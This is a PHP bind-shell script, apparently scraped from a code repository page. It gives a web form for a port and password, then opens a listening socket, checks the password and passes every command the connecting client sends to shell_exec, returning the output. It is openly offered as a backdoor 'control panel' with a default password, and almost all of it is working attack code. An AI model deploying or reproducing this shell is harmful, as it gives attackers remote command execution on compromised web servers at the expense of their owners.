139 lines
		
	
	
		
			3.0 KiB
		
	
	
	
		
			PHP
		
	
	
	
			
		
		
	
	
			139 lines
		
	
	
		
			3.0 KiB
		
	
	
	
		
			PHP
		
	
	
	
<?php
 | 
						||
 | 
						||
/*********************
 | 
						||
 | 
						||
@@author : lionaneesh
 | 
						||
@@facebook : facebook.com/lionaneesh
 | 
						||
@@Email : lionaneesh@gmail.com
 | 
						||
 | 
						||
********************/
 | 
						||
 | 
						||
?>
 | 
						||
 | 
						||
<html>
 | 
						||
<head>
 | 
						||
<title>Bind Shell — PHP</title>
 | 
						||
</head>
 | 
						||
 | 
						||
<body>
 | 
						||
 | 
						||
<h1>Welcome to Bind Shell Control Panel </h1>
 | 
						||
 | 
						||
<p> Fill in the form Below to Start the Bind Shell Service </p>
 | 
						||
 | 
						||
<?php
 | 
						||
if( isset($_GET[‘port’]) &&
 | 
						||
isset($_GET[‘passwd’]) &&
 | 
						||
$_GET[‘port’] != “” &&
 | 
						||
$_GET[‘passwd’] != “”
 | 
						||
)
 | 
						||
{
 | 
						||
$address = ‘127.0.0.1’; // As its a bind shell it will always host on the local machine
 | 
						||
 | 
						||
// Set the ip and port we will listen on
 | 
						||
 | 
						||
$port = $_GET[‘port’];
 | 
						||
$pass = $_GET[‘passwd’];
 | 
						||
// Set time limit to indefinite execution
 | 
						||
set_time_limit (0);
 | 
						||
 | 
						||
if(function_exists(“socket_create”))
 | 
						||
{
 | 
						||
// Create a TCP Stream socket
 | 
						||
$sockfd = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
 | 
						||
 | 
						||
// Bind the socket to an address/port
 | 
						||
 | 
						||
if(socket_bind($sockfd, $address, $port) == FALSE)
 | 
						||
{
 | 
						||
echo “Cant Bind to the specified port and address!”;
 | 
						||
}
 | 
						||
// Start listening for connections
 | 
						||
socket_listen($sockfd,15);
 | 
						||
 | 
						||
$passwordPrompt =
 | 
						||
“\n=================================================================\n
 | 
						||
PHP Bind Shell\n
 | 
						||
\n
 | 
						||
@@author : lionaneesh\n
 | 
						||
@@facebook : facebook.com/lionaneesh\n
 | 
						||
@@Email : lionaneesh@gmail.com\n
 | 
						||
\n
 | 
						||
=================================================================\n\n
 | 
						||
 | 
						||
Please Enter Password : “;
 | 
						||
 | 
						||
/* Accept incoming requests and handle them as child processes */
 | 
						||
$client = socket_accept($sockfd);
 | 
						||
 | 
						||
socket_write($client , $passwordPrompt);
 | 
						||
 | 
						||
// Read the pass from the client
 | 
						||
 | 
						||
$input = socket_read($client, strlen($pass) + 2); // +2 for \r\n
 | 
						||
if(trim($input) == $pass)
 | 
						||
{
 | 
						||
socket_write($client , “\n\n”);
 | 
						||
socket_write($client , shell_exec(“date /t & time /t”)  . “\n” . shell_exec(“ver”) . shell_exec(“date”) . “\n” . shell_exec(“uname -a”));
 | 
						||
socket_write($client , “\n\n”);
 | 
						||
while(1)
 | 
						||
{
 | 
						||
// Print Command prompt
 | 
						||
$commandPrompt =”(Bind-Shell)[$]> “;
 | 
						||
$maxCmdLen = 31337;
 | 
						||
socket_write($client,$commandPrompt);
 | 
						||
$cmd = socket_read($client,$maxCmdLen);
 | 
						||
if($cmd == FALSE)
 | 
						||
{
 | 
						||
echo “The client Closed the conection!”;
 | 
						||
break;
 | 
						||
}
 | 
						||
socket_write($client , shell_exec($cmd));
 | 
						||
}
 | 
						||
}
 | 
						||
else
 | 
						||
{
 | 
						||
echo “Wrong Password!”;
 | 
						||
socket_write($client, “Wrong Password , Please try again \n\n”);
 | 
						||
}
 | 
						||
socket_shutdown($client, 2);
 | 
						||
socket_close($socket);
 | 
						||
}
 | 
						||
else
 | 
						||
{
 | 
						||
echo “Socket Conections not Allowed/Supported by the server! <br />”;
 | 
						||
}
 | 
						||
}
 | 
						||
else
 | 
						||
{
 | 
						||
?>
 | 
						||
<table align=”center” >
 | 
						||
<form method=”GET”>
 | 
						||
<td>
 | 
						||
<table style=”border-spacing: 6px;”>
 | 
						||
<tr>
 | 
						||
<td>Port</td>
 | 
						||
<td>
 | 
						||
<input style=”width: 200px;” name=”port” value=”31337″ />
 | 
						||
</td>
 | 
						||
</tr>
 | 
						||
<tr>
 | 
						||
<td>Passwd </td>
 | 
						||
<td><input style=”width: 100px;” name=”passwd” size=’5′ value=”lionaneesh”/>
 | 
						||
</tr>
 | 
						||
<tr>
 | 
						||
<td>
 | 
						||
<input style=”width: 90px;” class=”own” type=”submit” value=”Bind :D!”/>
 | 
						||
</td>
 | 
						||
</tr>
 | 
						||
 | 
						||
</table>
 | 
						||
</td>
 | 
						||
</form>
 | 
						||
</tr>
 | 
						||
</table>
 | 
						||
<p align=”center” style=”color: red;” >Note : After clicking Submit button , The browser will start loading continuously , Dont close this window , Unless you are done!</p>
 | 
						||
<?php
 | 
						||
}
 | 
						||
?>
 |